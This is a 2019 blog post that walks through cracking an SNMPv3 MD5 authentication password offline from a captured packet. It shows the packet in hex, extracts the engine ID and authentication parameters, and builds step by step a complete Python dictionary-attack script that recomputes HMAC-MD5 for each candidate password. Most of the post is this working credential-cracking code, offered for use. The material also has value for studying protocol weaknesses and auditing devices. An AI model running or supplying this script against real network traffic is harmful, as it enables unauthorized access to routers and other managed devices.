Wednesday, January 30, 2019

Security: Cracking SNMPv3 Authentication Password

I was doing some research regarding the SNMPv3 Authentication process. Then I found this article online which has given in detail the process of SNMPv3 Authentication. So, I would recommend to read the article first before following this blog post. 

SNMPv3 Authentication Parameters

I will not go into detailed explanation of the process but only the essential bits which are required to crack the authentication password. 

  • msgAuthoritativeEngineID

The msgAuthoritativeEngineID: 80001f8880e9bd0c1d12667a5100000000.

  • SNMP Data

The SNMPv3 Data:

0000   30 81 81 02 01 03 30 11 02 04 20 dd 06 a7 02 03
0010   00 ff e3 04 01 01 02 01 03 04 31 30 2f 04 11 80
0020   00 1f 88 80 e9 bd 0c 1d 12 66 7a 51 00 00 00 00
0030   02 01 05 02 01 20 04 04 75 73 65 72 04 0c 09 44
0040   5f 87 77 0f 57 52 21 33 1c 7c 04 00 30 36 04 11
0050   80 00 1f 88 80 e9 bd 0c 1d 12 66 7a 51 00 00 00
0060   00 04 00 a2 1f 02 04 6b 4c 5a c2 02 01 00 02 01
0070   00 30 11 30 0f 06 0a 2b 06 01 02 01 04 1e 01 05
0080   02 02 01 01


  • msgAuthenticationParameters

The msgAuthenticationParameters: 09445f87770f575221331c7c.

  • wholeMsg
Now, the wholeMsg is the SNMPv3 Data without the msgAuthenticationParameters. Instead msgAuthenticationParameters is replaced with "00 00 00 00 00 00 00 00 00 00 00 00" i.e. 12 bytes of '0x00'

SNMP Data: 

30 81 81 02 01 03 30 11 02 04 20 dd 06 a7 02 03
00 ff e3 04 01 01 02 01 03 04 31 30 2f 04 11 80
00 1f 88 80 e9 bd 0c 1d 12 66 7a 51 00 00 00 00
02 01 05 02 01 20 04 04 75 73 65 72 04 0c 09 44
5f 87 77 0f 57 52 21 33 1c 7c 04 00 30 36 04 11
80 00 1f 88 80 e9 bd 0c 1d 12 66 7a 51 00 00 00
00 04 00 a2 1f 02 04 6b 4c 5a c2 02 01 00 02 01
00 30 11 30 0f 06 0a 2b 06 01 02 01 04 1e 01 05
02 02 01 01

wholeMsg:

30 81 81 02 01 03 30 11 02 04 20 dd 06 a7 02 03
00 ff e3 04 01 01 02 01 03 04 31 30 2f 04 11 80
00 1f 88 80 e9 bd 0c 1d 12 66 7a 51 00 00 00 00
02 01 05 02 01 20 04 04 75 73 65 72 04 0c 00 00
00 00 00 00 00 00 00 00 00 00 04 00 30 36 04 11
80 00 1f 88 80 e9 bd 0c 1d 12 66 7a 51 00 00 00
00 04 00 a2 1f 02 04 6b 4c 5a c2 02 01 00 02 01
00 30 11 30 0f 06 0a 2b 06 01 02 01 04 1e 01 05
02 02 01 01

Python Script To Crack the Authentication Key

As I said before we will not go into the details of the process of SNMPv3 authentication but we will create a python script explaining the cracking process.

1. Import modules

#!/usr/bin/env python3
import hashlib
import binascii
import subprocess
view raw import.py hosted with ❤ by GitHub

We have imported:

  • hashlib to calculate the hexdigest. 
  • binascii to return the binary data represented by the hexadecimal string hexstr.
  • subprocess to spawn a process to run linux commands and obtain the output within the script.

2. Set the authentication parameters as variables

msgAuthenticationParameters = '09445f87770f575221331c7c'
msgAuthoritativeEngineID = '80001f8880e9bd0c1d12667a5100000000'
wholeMsg = '3081810201033011020420dd06a7020300ffe30401010201030431302f041180001f8880e9bd0c1d12667a5100000000020105020120040475736572040c00000000000000000000000004003036041180001f8880e9bd0c1d12667a51000000000400a21f02046b4c5ac20201000201003011300f060a2b06010201041e010502020101'
passlist = open('rootmedict.txt', 'rb').read().splitlines()
view raw variables.py hosted with ❤ by GitHub

We have to set the parameter values described before. We have also opened the dictionary file in read mode and binary form.

3. The cracking process

Now, we start the brute force process:

3.1 The output of snmpkey utility with md5, password and msgAuthoritativeEngineID is stored in the variable result.
for password in passlist:
#1
result = subprocess.check_output(["snmpkey", "md5", password, msgAuthoritativeEngineID]).decode()
view raw c1.py hosted with ❤ by GitHub

3.2 Extract the value of authKey from the output.
for password in passlist:
#1
result = subprocess.check_output(["snmpkey", "md5", password, msgAuthoritativeEngineID]).decode()
#2
AK = result.split('\n')[0].split("authKey: 0x")
authKey = ''.join(AK)
view raw c2.py hosted with ❤ by GitHub

3.3 Extend the authKey by adding 48 bytes of '0x00'.
for password in passlist:
#1
result = subprocess.check_output(["snmpkey", "md5", password, msgAuthoritativeEngineID]).decode()
#2
AK = result.split('\n')[0].split("authKey: 0x")
authKey = ''.join(AK)
#3
extendedAuthkey = authKey + '00'*48
exAK1 = bytearray(binascii.unhexlify(extendedAuthkey))
view raw c3.py hosted with ❤ by GitHub

3.4 Create IPAD and OPAD values which are 64 bytes of '0x36' and '0x5c' respectively.
for password in passlist:
#1
result = subprocess.check_output(["snmpkey", "md5", password, msgAuthoritativeEngineID]).decode()
#2
AK = result.split('\n')[0].split("authKey: 0x")
authKey = ''.join(AK)
#3
extendedAuthkey = authKey + '00'*48
exAK1 = bytearray(binascii.unhexlify(extendedAuthkey))
#4
ipad = bytearray(binascii.unhexlify('36'*64))
opad = bytearray(binascii.unhexlify('5c'*64))
view raw c4.py hosted with ❤ by GitHub

3.5 - 3.6 Calculate Key1 and Key2 by method of XOR. Key1 is XOR of extended authKey and IPADKey2 is XOR of extended authKey and OPAD.

for password in passlist:
#1
result = subprocess.check_output(["snmpkey", "md5", password, msgAuthoritativeEngineID]).decode()
#2
AK = result.split('\n')[0].split("authKey: 0x")
authKey = ''.join(AK)
#3
extendedAuthkey = authKey + '00'*48
exAK1 = bytearray(binascii.unhexlify(extendedAuthkey))
#4
ipad = bytearray(binascii.unhexlify('36'*64))
opad = bytearray(binascii.unhexlify('5c'*64))
#5
Key1 = binascii.hexlify(bytearray(a ^ b for a, b in zip(exAK1, ipad)))
#6
Key2 = binascii.hexlify(bytearray(a ^ b for a, b in zip(exAK1, opad)))
view raw c5.py hosted with ❤ by GitHub

3.7 Calculate first MD5 hash h1 of File1 which is Key1 appended with wholeMsg.
for password in passlist:
#1
result = subprocess.check_output(["snmpkey", "md5", password, msgAuthoritativeEngineID]).decode()
#2
AK = result.split('\n')[0].split("authKey: 0x")
authKey = ''.join(AK)
#3
extendedAuthkey = authKey + '00'*48
exAK1 = bytearray(binascii.unhexlify(extendedAuthkey))
#4
ipad = bytearray(binascii.unhexlify('36'*64))
opad = bytearray(binascii.unhexlify('5c'*64))
#5
Key1 = binascii.hexlify(bytearray(a ^ b for a, b in zip(exAK1, ipad)))
#6
Key2 = binascii.hexlify(bytearray(a ^ b for a, b in zip(exAK1, opad)))
#7
File1 = Key1 + wholeMsg.encode()
h1 = hashlib.md5(binascii.unhexlify(File1)).hexdigest()
view raw c6.py hosted with ❤ by GitHub


3.8 Calculate second MD5 hash h2 of File2 which is Key2 appended with h2.
for password in passlist:
#1
result = subprocess.check_output(["snmpkey", "md5", password, msgAuthoritativeEngineID]).decode()
#2
AK = result.split('\n')[0].split("authKey: 0x")
authKey = ''.join(AK)
#3
extendedAuthkey = authKey + '00'*48
exAK1 = bytearray(binascii.unhexlify(extendedAuthkey))
#4
ipad = bytearray(binascii.unhexlify('36'*64))
opad = bytearray(binascii.unhexlify('5c'*64))
#5
Key1 = binascii.hexlify(bytearray(a ^ b for a, b in zip(exAK1, ipad)))
#6
Key2 = binascii.hexlify(bytearray(a ^ b for a, b in zip(exAK1, opad)))
#7
File1 = Key1 + wholeMsg.encode()
h1 = hashlib.md5(binascii.unhexlify(File1)).hexdigest()
#8
File2 = Key2 + h1.encode()
h2 = hashlib.md5(binascii.unhexlify(File2)).hexdigest()
view raw c7.py hosted with ❤ by GitHub

3.9 Check if the first 12 bytes of second MD5 hash h2 match the msgAuthenticationParameters.
for password in passlist:
#1
result = subprocess.check_output(["snmpkey", "md5", password, msgAuthoritativeEngineID]).decode()
#2
AK = result.split('\n')[0].split("authKey: 0x")
authKey = ''.join(AK)
#3
extendedAuthkey = authKey + '00'*48
exAK1 = bytearray(binascii.unhexlify(extendedAuthkey))
#4
ipad = bytearray(binascii.unhexlify('36'*64))
opad = bytearray(binascii.unhexlify('5c'*64))
#5
Key1 = binascii.hexlify(bytearray(a ^ b for a, b in zip(exAK1, ipad)))
#6
Key2 = binascii.hexlify(bytearray(a ^ b for a, b in zip(exAK1, opad)))
#7
File1 = Key1 + wholeMsg.encode()
h1 = hashlib.md5(binascii.unhexlify(File1)).hexdigest()
#8
File2 = Key2 + h1.encode()
h2 = hashlib.md5(binascii.unhexlify(File2)).hexdigest()
#9
if msgAuthenticationParameters == h2[:24]:
print('The Password is found: ' ,password)
break
view raw c8.py hosted with ❤ by GitHub

3.10 If a match is found, the dictionary password used is also the SNMPv3 authentication password.

    The final script:


    #!/usr/bin/env python3
    import hashlib
    import binascii
    import subprocess
    msgAuthenticationParameters = ''
    msgAuthoritativeEngineID = ''
    wholeMsg = ''
    passlist = open('', 'rb').read().splitlines()
    for password in passlist:
    result = subprocess.check_output(["snmpkey", "md5", password, msgAuthoritativeEngineID]).decode()
    AK = result.split('\n')[0].split("authKey: 0x")
    authKey = ''.join(AK)
    extendedAuthkey = authKey + '00'*48
    exAK1 = bytearray(binascii.unhexlify(extendedAuthkey))
    ipad = bytearray(binascii.unhexlify('36'*64))
    opad = bytearray(binascii.unhexlify('5c'*64))
    Key1 = binascii.hexlify(bytearray(a ^ b for a, b in zip(exAK1, ipad)))
    Key2 = binascii.hexlify(bytearray(a ^ b for a, b in zip(exAK1, opad)))
    File1 = Key1 + wholeMsg.encode()
    h1 = hashlib.md5(binascii.unhexlify(File1)).hexdigest()
    File2 = Key2 + h1.encode()
    h2 = hashlib.md5(binascii.unhexlify(File2)).hexdigest()
    if msgAuthenticationParameters == h2[:24]:
    print('The Password is found: ' ,password)
    break

    For further reading I would recommend RFC 3414.

    No comments:

    Post a Comment

    Note: Only a member of this blog may post a comment.